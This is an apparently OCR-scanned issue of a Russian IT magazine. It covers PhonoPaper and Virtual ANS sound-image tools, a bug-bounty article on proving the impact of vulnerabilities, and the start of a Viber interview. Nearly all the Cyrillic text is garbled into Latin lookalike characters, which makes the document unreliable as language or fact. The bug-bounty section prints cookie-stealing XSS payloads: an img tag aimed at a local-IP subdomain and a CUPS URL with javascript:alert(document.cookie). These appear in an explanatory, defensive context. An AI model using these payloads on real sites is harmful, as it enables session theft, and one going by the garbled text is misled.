Boro Te/iec})OHa m 3aKaHHMBa« MomHbiM CTyAHMHbiM KOMnbfOTepoM; 

KO/1MHGCTBO 6a30BblX TeHepaTOpOB HMCTblX TOHOB Tenepb OrpaHMHGHO JlMUJb Cj)aHTa3MGM 

no/ib30BaTG^fi m CKopocTbK) utompa/ibHoro npou,6CCopa; 

nO^BM/iaCb B03MO>KHOCTb 06paTH0r0 npG06pa30BaHMfl \A3 3ByKa B cnGKTp. 

Virtual ANS ( warmplacG.ru ) — rpac^MHGCKMM pGAaKTop c KJiaccMHGCKMM Ha6opoM MHCTpyMGH- 
tob: npi/iMHTMBbi, kmctm, c/iOM, 3(J)(J)6KTbi, 3arpy3Ka/ COXpaHGHMG PNG, GIF, JPEG. Ho KapTHHa, 

KOTOpyKD Tbl yBMAMUJb Ha 3KpaHG, GCTb Ha CaMOM AG/1G napTMTypa My3blKa/lbHOrO npOM3BGAGHMfl 

(oHa xg coHorpaMMa win cnGKTporpaMMa), KOTopyio b jikd6om momght moxho nocnyujaTb m/im 
cnywaTb m pncoBaTb oahobpgmghho. l~lapTHTypa pacK/iaAbiBaGT KOMno3i/iu,wo Ha «3ByKOBbiG aio- 

Mbl» — HGAG/IMMblG KyCOHKM HUCTblX TOHOB (CI/IHyCOl/IAa/lbHblX KOJlG6aHMM). Ilo ropM30HTa/lM — OCb 
BpGMGHM X (CDGBa HanpaBO). Ilo BGpTMKaJIM — BblCOTa T0H3 Y (CHM3y BBGpX OT 6aCOB K BblCOKMM 
HaCTOTaM). flpKOCTb OTAG/lbHOrO nHKCGJlfl — 3T0 rpOMKOCTb HMCTOrO TOHa C HaCTOTOM Yb momght 



BpeivieHM X. M3o6paxeHne cneKTpa no BepTwojiM aojihtch Ha OKTaBbi, OKTaBa — Ha 12 no/iyra- 
hob, no/iyTOH — Ha eme 6onee Ma/ieHbKi/ie ene y/iOBMMbie Ha c/iyx MMKpoTOHbi, ppn tohhoto onu- 
caHMR /iio6oro My3biKa/ibHoro CTpoa, Jiio6oro caivioro HGMbic/iMMoro TeM6pa. Ecjii/i Ha napTMType 
AHC npoBecTM ropn30HTa/ibHyK) jimhmk) to/ilu,mhom b oahh nwKce/ib, to Mbi yc/ibiniMM gauhctbgh- 
Hyra cnHyconAy c nocTOflHHoti nacTOTOM. HeM TO/ime /lMHMfl — TeM Sonbwe HMCTbix tohob 6yAeT 
BxoAHTb b ee codaB, TeM cnoxHee 6yAeT 3ByK, m TeM cwibHee 3BynaHne 6yAeT npn6/inxaTbca 
k 6e/iOMy LuyMy, HacbimeHHOMy o6epTOHaMn Bcex nacTOT cnbiuiHMoro Anana30Ha. ConeTaHne 

T3KMX J1MHMM C APyrMMM (J)W~ypaM11 pa3HOM flpKOCTM AaeT HeOXMAaHHbie M MHTepeCHbie 3ByKOBbie 

BapMauMM. 

B npouecce pa6oTbi HaA Virtual ANS noflBwiacb jiio6onbiTHafl Mbicnb. OpanvieHT ayAno0aii- 
jia n/11/1, CKaxeM, 3anncb ro/ioca c MHKpo({>OHa moxho npeo6pa30BaTb b napTMTypy AHC, to ecTb 
b cneKTporpaMMy — KapTUHKy c 3aKOAnpoBaHHbiM b Hew 3ByKOM. \A 3ByK stot moxho c zierKOCTbio 
BOcnpon3BecTM o6paTHO npw noMOLAH tom xe caMOM nporpaMMbi. Bo3Hw<aeT ecTecTBeHHoe xe- 
ziaHne pacnenaTaTb KapTMHKy cneKTpa Ha npi/iHTepe n nanyHMTb 6yMa>KHyio Koni/iK) CBoero ro/ioca 

MJ1U My3blKM. 

1/lMeHHO A-n^ 3tmx u,enev\ 6b\n 3aAyMaH PhonoPaper — eme oahh npoeKT, HacneAyiOLAMM i/iAew 
3ByKOBbix peBonfou,MOHepoB npouinoro croneim. Hto xe TaKoe PhonoPaper? 

1 . OopMaT M3o6pa>KeHna, b kotopom 3aKOAnpOBaH 3ByK. Ot cneKTporpaMMbi AHC stot koa 
OTfiMHaeTCfl TonbKO TeM, hto CBepxy m CHH3y noRBn/iMCb cneu,nanbHbie MapKepw, no koto- 
pbiM CHMTbiBatoiAee ycTpoMCTBO tohho onpeAermeT rpaHnu,bi 6/iOKa co cneKTpoM. 

2. npHTioxeHne-CKaHep Arm HTeHMH PhonoPaper-KOAOB b pea/ibHOM BpeMeHn npn noMOLmn 
KaMepbi. 

3. (IpnTiOKeHne-peKopAep f\nn KOHBepTau,nn aoc^tm ceKyHA 3ByKa b PhonoPaper-KOA- Xoth 
A/ifl 6onee TOHHoro ynpaB/ieHnq npeo6pa30BaHneM Jiymue Bcero ncnojib30BaTb onucaH- 
HbM Bbinie Virtual ANS. 

PhonoPaper-KOA moxho Ha3BaTb aHa/ioroBbiM, TaK KaK b ero cocTaBe HeT u,mcJ)pobom MH0opMa- 
u,hm, a caM oh MoxeT 6biTb 3anncaH Ha /ikd6om AOCTynHOM noBepxHOCTM (6yMara, n/iacTi/iK, ao- 
peBO). no 3tom npMHMHe A-n^ nero HeKpi/rmHHbi pa3Horo poAa MCKaxeHMfi: npH n/ioxoM ocBe- 
LUeHMn u M3MATOM 6yMare Tbi KaK MMHMMyM ycnbiiiiMLUb «onepTaHHfl» opnrnHajibHoro nocnaHMfl. 
A-na npoc^yiuMBaHMfl KOAa He Tpe6yeTca BbixoA b ceTb — boh Heo6xoAHMaa MHc^opMauHH xpa- 
HMTca HenocpeACTBeHHO Ha KapTi/iHKe, a nponrpbiBaHne Hani/iHaeTCH MmoBeHHO nocne nonaAa- 
h\a9\ b none 3peHMfl KaMepbi. I~lpn stom, KaK m b CMHTe3aTope AHC Myp3MHa, no/ib30BaTe/ib caM 
KOHTpo/ii/ipyeT CKopocTb m HanpaB/ieHMe nrpw, CKaHMpyq 3ByK0B0M koa BpyHHyio (xota MMeeTca 

M aBTOMaTMMeCKMM pexMM). 

EcTb/iM npaKTHHecKMM CMbic/i? npeACTaBbce6e: 3ByKOBbie noACKa3KM b aotckmx KHi/ixKax mjim 
yne6HMKax; KycoK hobom necHM Ha AncKe mjim peK/iaMHOM n/iaKaTe rpynnbi; ayAnoMeTKM HaTOBa- 
pax; ceKpeTHbie noc/iaHM^ Ha CTeHax 3AaHnw; 3ByKOBbie OTKpbiTKM m pa3Horo pOAa apT-3Kcne- 

pMMBHTbl. \An\A My3blKa/lbHbie M/IJlKDCTpaUMM K CTaTbflM BpOAe 3T0M. :) Bee 3T0 CTaHOBMTCfl B03- 
MOKHblM C nO^B/ieHMeM MHCTpyMeHTOB, n03BOJlflK)LAMXnerKO M npOCTO 3anMCblBaTb M CHMTblBaTb 

4)OHorpaMMbi — TaKMx, KaK PhonoPaper m VirtualANS. 




BMECTO 3AKJlK)HEHMfl 

KaK b Mfl mm, onepeAHOM bmtok cnMpaoM B03Bpam,aeT Hac Ha3aA k MCTOKaM. M sto gctgctbghho, 
BeAb mmp ceroAHfl nepeHacbimeH CKpbiTbiMM ot HeooBeKa npoueccaMM o6pa6oTKM MHc^opMauuM 
m Bee cmibHee norpyxaeTca b BMpiyaobHoe npocipaHCTBO, ouMc^poBaHHoe, 3aKOAnpoBaHHoe 
m ynaKOBam-ioe. My3biKaobHbie MHCTpyivieHTbi npanyT cbojo npupOAy, mx Heob3fl noiporaTb mom 
3arviflHyTb noA KpbiiuKy, HTo6bi npMKOCHyTbca k BOowe6cTBy poxAeHMH HOBoro 3ByKa, om,yTMTb 
ero SHeprMK). PMCOBaHMe My3biKM Ha «aTOMapHOM» ypoBHe m nepeHoc 3toi~o npouecca b peaob- 

HblM MMp — HeCOMHGHHO, 6o/lbLUOM Liiar K COKpaLAeHMKD paCCTOflHMfl MeXAy KOMn03MTOpOM M BO 

njiomeHMeM ero TBopnecKMx 3aMbionoB. OAHOBpeivieHHO c stmm co3AaHMe My3biKM crraHOBMTCfl 
AOCTynHbiM An^ Jiio6MTe/ieM m npeAdaBMTeoeM CMexHbix bmaob MCKyccTB, Mbi 6oobLiie He orpa- 
HMneHbi xecTKMMM paMKaMM m npaBMoaMM, a Herman rpaMOTa OTHbiHe oMWb AonooHeHMe. BepeM 
pyHKy, 6yiviary m HaHMHaeM TBOpMTb hobnm weAeBp. JL 

MHCTPYKUMJl flO flPHMEHEHHK) 



1 . YdaHOBM npMooxeHMe PhonoPaper Ha iPhone mom Android-CMapTfooH . 

2. 3anycTM npM/io>KeHMe. 

3. HaBeAM Ha KaxAyK) c}x)HorpaMMy. 



£0KA3blBAEM yrP03Y B CJIOXHblXyC/lOBM^lX 



Bee Lui/ipe v\ wi/ipe no/iynaiOT pacnpocTpaHeHi/ie Bug 
Bounty nporpaMMbi — nporpaMMbi B03HarpaxAeHH£ 
3a y^3Bi/iMOCTi/i pa3/iMHHbix BGHflopoB. I/I nopon npn nOMC- 
Ke y^3Bi/iMOCTei/i HaxoA^TC^ MecTa, Korapbie ^bho He6e3- 
onacHbi (Hanpi/iMep — self-XSS), ho AOKa3aTb ot hi/ix yrpo- 
3y cjioxho. Ho neM KpynHee (xcrra, CKOpee, aAeKBaTHee) 
BeHAop (HanpHMep, Google), TeM oh oxoTHee oScyxAaeT 
h npocMT noKa3aTb yrpo3y ot coo6i_u,eHHOM y^3BMMOCTM 
i/i npn yenexe — B03HarpaxAaeT :). 3ia CTaTb^ — noA- 
6opKa cjioxHbix ci/iTyau,i/ii/i 1/1 paccKa3, KaK xe moxho AOKa- 
3aTb yrp03y v\ c{\en&\b i/ihtgphgt 6e3onacHee. 



▼ 

Cepreft Ee/iOB 

serqeybelove@qmail.com 



DNS MISCONFIGURATION 

CyTb ya3BMMOCTM 3aK/iK)HaGTCfi b npucyTCTBMM b 3anwcflx o flOMeHax noAAOMeHOB, yKa- 
sbiBaKDumMx Ha aApeca, npi/iHaA-nexamne zioKa/ibHOM ceTM. 

ripeAno/ioxnM, hto ripn nepe6ope noAAOMeHOB Mbi Haw/in hto-to bpoao local. target, 
com, KOTopbiPi yKa3biBaeT Ha aApec 127.0.0.1 (mii/i npocTO Ha IP H3 noKa/ibHoPi ceTi/i). 

PaccMOTpuM cnynaM, KorAa noAAOMeHyKa3biBaeTHaaApec 127.0.0.1 . npeAnonoxnM, 
hto y Hac ecTb KaKaa-TO opraHM3au,M5i, pa6oTafomasi nepe3 TOHKne KJineHTbi, cootbct- 

CTBeHHO, COTpyAHUKM «CHA^T» Ha OAHOM MaLUHHe, y KOTOpOM IP-aApOC 127.0.0.1 . B TaKOM 

onyHae aTaKyK)Lu,MM MoxeT 6biTb jioKajibHbiki nonb30BaTe/ib AaHHOM CMCTGMbi. Arm pea- 
nn3au,MM aTaKM 3/ioyMbiLUJiGHHMKy Heo6xoAHMO 3a6nHAHTb nopT Ha «BepxHnx» ypoBHfix, 
Hanpniviep 10024 (TaK KaK «hm>khmg» nopTbi noTpe6yiOT cooTBercTByK)innx npMBmiernPi). 
riocne nero 3/ioyMbiLUjieHHMK OTnpaBrmeT xepTBe (Apyroiviy no/ib30BaTe/iKD 3tom xe cn- 
CTeMbi) nucbMO, b kotopom coAepxaTca pecypcbi, noArpyxaiomnecfl c aApeca y 5i 3 b n - 
mom CMCTeMbi, yKa3biBaK)mero Ha jiOKajibHbM IP, HanpHMep <img sre = http: //local, 
t a rget.com: 10024/ >. KaKTO/ibKO xepTBa OTKpoeT nwcbMO, to OHa nonbiTaeTca noArpy- 
3MTb KapTMHKy c **. target. com, nepeAaB 3noyMbiiuneHHMKy cbom KyKi/i, KOTopbie ycneniHO 
noAXBaTi/iT OTKpbiTbiM paHee CHM(J)ep, xoth moxho o6oMTMCb m netcat. Eiu,e He6o/ibi±ioPi 
tpkdk: nacTO Ha noAo6Hbix cucTeMax, Aa v\ He mnbKO, ycTaHOB/ieHa c/iyx6a CUPS (A-nfl 
npuHTepoB), b MHTepcJ)eMce KOTopoPi ecTb mhoxcctbo XSS. B TaKOM onyHae SKcrmyaTa- 
u,weM ollim6km c jiOKa/ibHbiM aApecoM OAHoro M3 noAAOMeHOB MOxeT BOcnonb30BaTbCH 
n yAa^eHHbiM aTaKyioLAHM. HanpuMep, 3acTaBMB nonb30BaTe.nfl nepeMTM no t3kom ccbin- 



Ke: http: //local. target . com: 631/ jobs/? job_id=&job_printer_name=Click%20 
Me&job_printer_uri= javascript : alert (document. cookie), moxho npoBGCTH XSS 
m nonynnTb KyKM *. target. com. 

B anynae conn AOMeH yKa3biBaeT Ha IP M3 jiOKa/ibHoPi cgti/i, moxho noKa3aTb cnep,y\o- 

U\\A\A BGKTOp: HaXOA^Cb B OAHOM JlOKa/lbHOM CGTM C XGpTBOM, MOXHO 3aHflTb HVXHblM IP-a- 

APGC noAAOMGHa m nonpocMTb nonb30BaT6.rm nGpcPiTM no ccbuiKG. 

3a noAo6HyKD HaxoAKy LUhmoh rpyniGu,KMM (Szymon Gruszccki) nonynmi 100 Aorma- 
poB b CG/ict)-6ayHTM HackcrOnG (ponopT 1509). 



BTOpHMK. 2 WOnfl 2013 T. 

Insecure DNS records in top web projects 

Last month ONsecJab had discovered and reported about the same DNS issue in top web projects: live.com, 
facebook.com, yahoo.com, nokia.com, paypal.com, baidu.com, att.com and many others. 

DNS linked few*. COMPANY. com domains to IP which doesnt belong to 
COMPANY. 

These addressed from Private Address Space 10/8. 172.16/12, 192.168/16 (look at http://tools.ietf.org/html/rfc1918, 
https://en.wikipedia.org/wiki/IPv4) and localhost 127.0.0 1. 

Basically, this may be interpreted as information leakage from intranet of COMPANY. But it's obvious :) 



OaTbH ot ONsecJab npo AOMeHbi, yKa3biBaK)Lu,ne Ha IP-aflpec M3 /lOKa/ibi-ioPi ceTM. 
SELF-XSS 

XSS-aTaKa — OAHa M3 caMbix nony/mpHbix b Be6e. CyTb coctomt b tom, HTo6bi BHGAPHTb 
cbom JavaScript Ha CTpaHnu,y, KOTopyK) otkpogt xcpTBa. SGlf-XSS — iioabma XSS-aTaK, 
cyTb aHanornHHa, ho OTpa6aTbiBa6T TO/ibKO b 6pay3epe aTaKyiOLAGro. 

llpeACTaBb ce6e, hto tw Moxeuib rAe-TO noACTaBMTb JavaScript, oh ycneniHO OTpa- 
6aTbiBaeT, ho... TonbKO A-na Je6n\ To ecTb XSS-aTaKy npoBcc™ mo>kho, ho TonbKO npoTMB 
caMoro cg6h. OneHb mynafl CMTyauna :). A Tcncpb AaBaPi coo6pa3MM BeKTOp. llpGACTa- 
bmm caMT target.com, rAe aBTopn30BaHa xepTBa. Hame Bcero Mbi moxgm pa3/iorMHMTb 
xepTBy HGpG3 CSRF (niar 1 ), 33tgm 3a/iornHMTb gg noA co6om, t3k>kg hgpg3 CSRF (war 

2, A3, Mbl «Cna/IMM» CBOH KpGAbl, HO 3T0 HGBaXHO). \AiaK, COCTOflHMG: >KGpTB3 3a/10rMHG- 

Ha Ha targGt.com, tag Mbi n o ACTa bji a g m Haw JavaScript. Cri6AyK)wnfi mar (homgp 3) Ta- 
kob, hto Mbi npocTO pucycM OKOLUKO c aBTopi/i3au,uGM m coo6lu,ghmgm HanoAo6i/ic «Bauja 

CGCCMfl MCTGK/ia» (HGpG3 VX6 MMGKDLUHMC^ JS) Ha C3MTG (URL COBnaAaCT, BbinnflflklT J16- 

rMTMMHo!) i/i jiompyGM BBOAHMbiG AaHHbiG (/iornH:napo/ib) xgptbom Ha HaniGM cgpbgpg. 

«HGpGa/lbHO», — CKaXGLUb Tbl, HO 6yAGWb HG npaB. ECTb MG/IOBGK, KOTOpOMy l~IOA06HblM 
BGKTOp 3aCHMTa/lH, B03MOXHO 3a BOJ1IO K I106GAG, HO Ma/lblM npOU.GHT yCnGLUHOCTl/l aTaKM 

npoTHB Apyrux no/ib30BaTG/iGM 6bm AOKa3aH! 
GOOGLE II SELF-XSS 

npoAonxaa TGMy SGlf-XSS aTaK, xony o6paTMTb tbog BHMMaHMG Ha KOMnaHHio Google 

KaK OAHy M3 CaMblX LAGAPblX B n/iaHG TOHOpapOB 3a HafiAGHHbIG VH3BMMOCTH. B 3aBMCM- 
MOCTM OT CGpBMCa GOOglG npaKTMHGCKI/l JIIO6OM SGlf-XSS BGKTOP MOXHO Cpa3y CHMTaTb 

KaK hg SGlf, BGAb hto b Gmail, hto b Googlo Analytics no yMO/inaHMio GCTb cJ)yHKi4HH, no- 

^Rnncuninaa «nar.i i iani/n~k» p.rhm ak'k - a\/i-iT n nnvrnMM nnnkanRaTPnflMM nnnnn vi^aaaR my 



ho 6e3onacHOM cpeAbi (HanpMMep, c AOManiHero KOMnbKrrepa), otbgt cepBepa 6bm ne- 
pexBaneH, m 3aro/iOBOK Strict-Transport-Security «noAHnuj,e-H» 3/ioyMbiLUjieHHMKOM. no- 
one OToro nonb30BaTe.nb CHOBa nocemaeT pecypc H3 He6e3onacHOM cpeAbi, Hanpniviep 
H3 KacJ)e, rAe eiviy hmkto He «noApe3a/i» 3aronoBKn v\ nonb30BaTejib 6e3onacHO 3aujen 
Ha caPiT. TaK bot, BepHeMca k Bug Bounty. BbiJi pecypc, rAe Bee HacTpoeHO KoppeKTHO — 
xnAep OTnpaB.rm.ncfl npn peAnpeKTe c HTTP Ha HTTPS. Ho bot Bpers/m, KOTOpoe AaHHoe 

npaBM/IO AeMCTBMTe/lbHO C MOMeHTa yCTaHOBKM, 6blJ10 OTHOCMTe/lbHO HeAO/iruM — 180 

AHew. KcTaTM, ctomt OTMeTMTb, hto cymecTByeT pre-shared list, rAe nepeni/icneHbi caPrrbi, 
Ha KOTOpbie moxho 3axoAHTbTO/ibKO no HTTPS (HSTS preload list), — goo.gl/KxrNtl . 

MISCONFIGURATION - CONTENT-SECURITY-POLICY - II ECTb, II HET 

Yq3BMMOCTb 3aK/iK)HaeTC?i b tom, hto Be6-npnno>KeHne HeKoppeKTHO onpeAermeT npaBM- 
Jia pa3Aann Content-Security-Policy. 

MHoruM M3BecTeH 3aronoBOK Content-Security-Policy (CSP), KOTopbiM Bee 6o/ibLue 
m 6ojibLue npMxoAUT b Maccbi. Oh nepeAaeTca b OTBeTe Be6-cepBepa m coo6iu,aeT 6pa- 
y3epy, OTKyAa m KaKoPi kohtcht mokho noArpyxaTb (KapTMHKM m TOMy noAo6Hoe). B oc- 
hobhom oh npeAHa3HaneH A-na 3aLu,MTbi ot nocneACTBi/iM XSS-aTaK, TaK KaK tot xe CHucJ^ep 
yxe He BHeApuwb co CBoero caPiTa (npn KoppeKTHbix npaBunax CSP). Ho Ae/io b tom, 
hto He Bee 6pay3epbi ero noAAepxuBaKrr m B03MOXHbi onyHaw, KorAa pa3pa6oTHHKM npw- 
HMMaKDT pemeHne, hto He HaAO OTCbmaTb AaHHbifi 3aronoBOK K/ineHTy, ecni/i ero 6pay- 
3ep He noAAepxMBaeT CSP. nonynaeTCfl, hto pa3pa6oTHMKM onpeAe/iHKrr 6enh\v\ cnncoK 
6pay3epoB (no qbaKTy — cni/icoK no/lew UserAgent), KOMy OTCbmaTb AaHHbiM 3aronoBOK. 
B MTore MMeeM cneAyJOLUne npo6neMbi: 

• OTBeT 6e3 CSP-3aronoBKa MOxeT 6biTb 3aKewi/ipoBaH kjimchtckom ctopohom (Hanpn- 
Mep, Ha npoKCM-cepBepe). Xoth 6biBaeT m Ha cepBepHOM, rAe-Hn6yAb Ha npoMexyTOHHbix 
Keni-cepBepax. KaK uTor — 3tot xe otbct (6e3 CSP) MoxeT 6biTb ota3h no.nb30BaTe.nio, 
y koto 6pay3ep noAAepxn BaeT CSP; 

Bee 6onbi_ue v\ 6ojibiue co3AaeTca 6pay3epoB — cJ)opkob Chromium, rAe nonb30BaTe- 
nv\ BbiCTaB^fliOT cbom UA, KOToporo HeT b 6enoM cnncKe no HCHbiM npwHMHaM. 

KaK BMAHLUb, AaHHbie cnTyau,nn MoryT npuBecTM k cnynaio H3 3aronoBKa — CSP v\ ecTb, 
m HeT, Aaxe Ana Tex, kto ero noAAepxwBaeT. Ha HackerOne 3a noAo6Hyto Bemb Toxe Ha- 
rpaAn/iw, ho Bee AyMaiOT tohho TaK xe. HanpMMep, y Facebook cnTyau,na cnoxHaa: ohm 
pa6oTaiOT HMeHHO no 6e/ibiM cnncKaM h He BceM OTCbmaiOT CSP (TO/ibKO xpoMy Bepci/iH 
BbiLue X, FF Bbiiue Bepcuw Y ho He MexAy A1 1/1 B1), TaK KaK ecni/i ayAHTopna pecypca 
oneHb 6onbLiiaFi (KaK y Facebook), to BaxeH Bonpoc cobmccthmoctm (y FF b onpeAeneH- 
Hbix Bepcwflx c 3tmm npo6neMbi) m nyHLue He OTCbmaTb 3aro/iOBOK, HTo6bi He noTepaTb 
ayAHTopnK). rio3AHee ohm nnaHnpyiOT y6paTb sto npaBmio. 

WEB APPLICATION MISCONFIGURATION - 
HEEE30f1ACHblM %USERNAME% 

y^3BMMOCTb 3aK/iK)HaeTca b HeKOppeKTHOM apxwTeKType Be6-npmioxeHHH, (J)yHKu,i/iOHan 
KOToporo no3BO/meT aTaKyK)uj,eMy noAMeHMTb coAepxuMoe cnyxeSHbix cfjaM/ioB, Haxo- 
AflLunxcfl b Be6-AnpeKTOpMM npnnoxeHMfl. 

Ha pa3Hbix caMTax no-pa3HOMy reHepMpyeTca URI A-na AOCTyna k ziMHHOMy npocf>M- 
jikd. Hame Bcero sto hto-to Tuna /users/username/, ho 6biBaeT, hto mma no/ib30BaTena 
MAeT cpa3y nocne AOMeHa, HanpMMep http://example.com/username. Aasan pa30BbeM 
CMTvau.nK) m noennonoxHM. hto b mmchm nonb30BaTe/iq Da3DeujeHbi tohkm... nonxonnM 



KTOMy, hto Mbi MoxeM 3aperi/icTpi/ipoBaTb nojib30BaTe.nfl c MHTepecHbiM i/imghgm, Hanpn- 
Mep robots.txt, m, bo3mo>kho, noAMeHHTb coAepxHMoe (tpa^/ia a-tih noncKOBbix po6otob, 
AaB mm npoi/iHAGKCupoBaTb to, hto He HyxHo! RaneKO 3a npniviepoM xoAHTb He HaAO, Ha- 
BepH^Ka Tbi noMHMiub c/iynaM c yTenKOM SMS Ha caMTe «MeraOoHa». Kpoivie Toro, mox- 

HO B006pa3MTb M Apyme CMTyaU,MM, KOTOpbie n03B0JIJ1T nO/IOMaTb OCHOBHOM (TpyHKLU/lOHa/l 

caMTa. 




CSP not consistently applied 

janpaul 123 reported a bug to HackerOne. 

Also thought I'd formally submitted the issue we discussed yesterday, that sometimes the 
CSP response headers served are missing for browsers that don't support them, but then the 
page without these headers can be cached by Cloudflare. This makes it easier to mount a XSS 
attack. 



State 

• Resolved (Closed) 

Bounty 
$250 

Type 

Cross-Site Scripting (XSS) 



Harpafla 3a cnei4HcpnHHyio HacTpowKy CSP 
BblBOAbl 

KaK BMAHLUb, cymecTByeT mhoto pa3JiMHHbix cnoco6oB nposKcn/iyaTi/ipoBaTb, Ha nepBbM 
B3m^Ai He nivieiOLAMM HMK3K0M yrp03bi 6ar. MHoroe 3aBMCMT ot CMeKa/iKM, onbiTa, 3Ha- 
H\A$\ ycnoBi/iM 3Kcn^yaTau,MM v\ BOoSpaxeHHfl :). CoBeTyio norrmAbiBaTb pa3/iMHHbie 6arn 
Ha hackerone.com, BeAb MHorne y^3BMM0CTM noone 3aKpbiTna CTaHOBHTCH ny6/ikiHHbi- 
mm. Taivi xe mo>kho noHMTaTb npo yTenKy nonHbix nyTew Hepe3 CSS-c^aftnbi, OTcyTCTBwe 
SPF-3anncn b AOMeHe m, KaK c/ieACTBue, B03M0>KH0CTb cnycf)MTb aApec OTnpaB/meivioii 
noHTbi (BeAb SMTP no3BO.rmeT cnycJwTb aApec OTnpaBMTe.rm «no CTaHAapTy»), a TaKxe npo 
MHoroe Apyroe, He MeHee nHTepecHoe h HeiviHoro CTpaHHoe :). Happy bughunting! JE 



$2204 

CPEAHflfl CYMMA BblllJlATbl B IIPOrPAMME B03 
HArPAXAEHMM FACEBOOK K 2013 FOR)/. OBLU.EE 
HMCJ10 3AABOK nPEBblCMJIO 14 TbICflH, CPEAHEE 
BPEMfl PEAI~MPOBAHl/1fl HA 3AABKY — 6 MECflU,EB. 

C3finnnnn 






Bbin/iaTMJia Google k 2013 roAy no nporpaMMaM B03HarpaxfleHMi/i 
3a 6an/i b Chromium v\ Be6-cepBMcax KOMnaHi/ii/i. Bo/iee nervi 3a Tpi/i 
roAa 6bi/io oShiapyxeHO 6o/iee AByx tnc^h y?i3bmmoctgi/i. 



$11 000 

no/iynn/i nccneAOBaTe/ib H3 na/iecTH- 
Hbi, HaiueAUJUM cnoco6 ny6/inKOBaTb 
coo6m,eHHfl Ha CTeHe Jiio6oro nonb30- 
BaTe/ia b Facebook b o6xoa HacTpoeK 
npMBaTHOCTM. Ho 3an/iaTM/ia 3a 6ar 
He aflMUHMCTpaunfl cein, a 0006111,6- 
ctbo. Reno b tom, hto aBTop Sara npo- 
TecTMpoBa/i HaxoAKy... Ha CTpaHnue 
caMoro MapKa Uyi<ep6epra. TeM ca- 
mhm oh Hapyujmi npaBM/ia nporpaMMbi 
B03HarpaxAOHMM Facebook, comacHO 
KOTopoM 3anpeiAeHO TecTupoBaTb ya3- 
bmmocth Ha pea/ibHbix nonb30BaTe/iflx. 




$26000 



nO/lYHM/lM COTPYAHMKM GOOGLE 3A yfl3BMMOCTH, 
HAMAEHHblE B INTERNET EXPLORER 11 B 2013 . 
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EeceflOBa/i 
CienaH H/ibHH 




Mropb 

Mara3MHHMK 



VIBER 
M3HYTPM 

CTO M COOCHOBATEJlb VIBER 



Mo6n/ibHbie MecceHflxepbi — TeppnTopn^ bncokmx Harpy- 

30K 1/1 OTpOMHblX TpG60BaHl/ll7l K HafleXHOCTM v\ 6e30naCHOCTM. 

TeM MHTepecHee y3HaTb, KaKycipoeHa MH^pacTpyKTypa ofl- 

HOTO 1/13 JlHflepOB 3TOTO pbiHKa. 

HAESI VIBER II HEOKMflAHHblM YCflEX 

Koma Bbi peuju/in: «mbi 6yA@M Ae/iaTb Viber», — b KaKOM roAy 3TO 6bi/io? 

TorAa 3to, ecTecTBGHHO, eu\e He Ha3biBa/iocb Viber. Ho nepsbie Mbicni/i Hana/ii/i oc^opM- 
jiHTbCH b KOfl rAe-TO BecHoPi 2010 rofla. nepBbiM pe/ii/i3 cocTORncfl b Aei<a6pe 2010-ro. 

A KorAa 6bi/i nepBbin npoTOTiin? CKO/ibKO bpgmghm yuj/io Ha co3AaHne pa6oHefi 

BepCMM? 

Hto-to 6bmo totobo yxe nepe3 Mecflu,. Ho sto «hto-to» 6bmo bo Bcex CMbicnax oneHb A3- 
jieKO OTToro, hto mh roTOBbi npeAOCTaBHTb no.nb30BaTe.nflM :). 

KaKoea 6bma ucxoAHasi iiAesi — CAe/iaTb MecceHAKep mjim co3AaTb sraKoro «y6iiM- 
uy Skype»? M/iu ece BMecTe, HTo6bi y6nTb cpa3y n SMS, n Skype, m see ocTa/ibHoe? 

riepBaa Bepewfl Viber Bbiuma 6e3 MecceHA>KMHra, xoth, 6e3ycnoBHO, Mbi noHi/iMa/in, 
hto MecceHA>KMHr TyAa npnAeT. flpocTO cpa3y Ha Bee He xBaTi/i/io hh BpeivieHn, hi/i cmji. 

M3HaHa/ibHO y Hac 6bma Aax<e He hash — npo6jieivia: 6bmo xyTKO HeyAo6HO 3BOHMTb, 
KorAa Tbi HaxoAnuJbCfl b poyMMHre, oco6eHHO 3a rpaHwuew bo Bpeivm nyTeiuecTBMM v\nv\ 
KOMaHAnpoBOK. TorAa yxe noaBmiwcb CMapTcjDOHbi, b tom HMC/ie iPhone ui ero App Store. 
TexHO/iornn npi/iLD/in k TOMy, hto Te6e hmhto He ao/ixho 6bmo MewaTb, npocTO Ha6paTb 
ne/iOBeKa — i/i oh 6bi Te6e otbotm/i. BHe 3aBMCMMOCTM ot Toro, rAe HaxoAnwbCfl Tbi m rAe 
HaxoAHTca oh. Ho noAo6Hbix npoAyKTOB TorAa He 6bmo. 

l/l3-3a 3T0M rO/lOBHOM 60J1H, CBH3aHHOM C nOCTOHHHblMH pa3"be3A3MH M nOnblTKaMM 

Bbi3BOHMTb n\op,ev\, Mbi peiunni/i nonbiTaTbca CAe/iaTb ronocoByio CBH3b nepe3 MHTepHeT 
Hopivia/ibHO, HTo6bi 3to npocTO pa6oTa.no. lloTOMy hto Ha tot momcht Skype (m oco6eH- 
ho ero Mo6i/uibHafl Bepci/m) pa6oTan TaK, hto sto He/ib3fl 6bmo Ha3BaTb pa6oToPi. HyxHO 
6bmo 3apaHee AoroBapi/iBaTbca o 3BOHKe (Hanpwviep, no email), HTo6bi nenoBeK Bbiwe/i 
b Skype 1/1 He TpaTM/i 6aTapefiKy, — h TonbKO TorAa co3BOHMTbca. 3to He tot experience, 
KOTOpbifi HyxeH no/ib30BaTe^K). rionb30BaTenb xoneT npocTO HaxaTb Ha i/imh KOHTaKTa — 
n HTo6bi 3bohok cocTOHJicfl. Skype He AaeT 3Toro hm cewnac m He AaBan stoto TorAa. 

Bbi 6bmn nepsbiMM, kto bbgji aBTopii3auMio KOHTaKT-jwcTa no Te/ieqboHHOMy ho- 
Mepy? 

HeT, Ha tot MOMeHT yxe Bbiuie/i WhatsApp. 

KaKOBbi 6bi/iii ue/in Viber, k3kmm Tpe6oBaHn*iM oh aojdkgh 6bi/i yAOB/ieTBopsiTb? 

MaKcuManbHafl npocTOTaAJia nonb30BaTe/ia. MaKCMManbHoe yAo6cTBO. MaKci/iMa/ibHoe 
KanecTBO b Tex cepBHcax, KOTopbie Viber npeAOCTaB/iaeT. B caMOM nepBOM pe/iM3e sto 
6binM TO/lbKO 3BOHKM, nOTOM Ao6aBM/ic^ MecceHA>KMHr. 

Mbi xoTenw, HTo6bi nojib30BaTejuo He HyxHO 6bmo npoxoAHTb Boceivib KpyroB aAB — 
perncTpnpoBaTbCfi, Ao6aBrmTb KOHTaKTbi, AoroBapuBaTbc^, KorAa m c KeM co3BOHMTbCfl. 
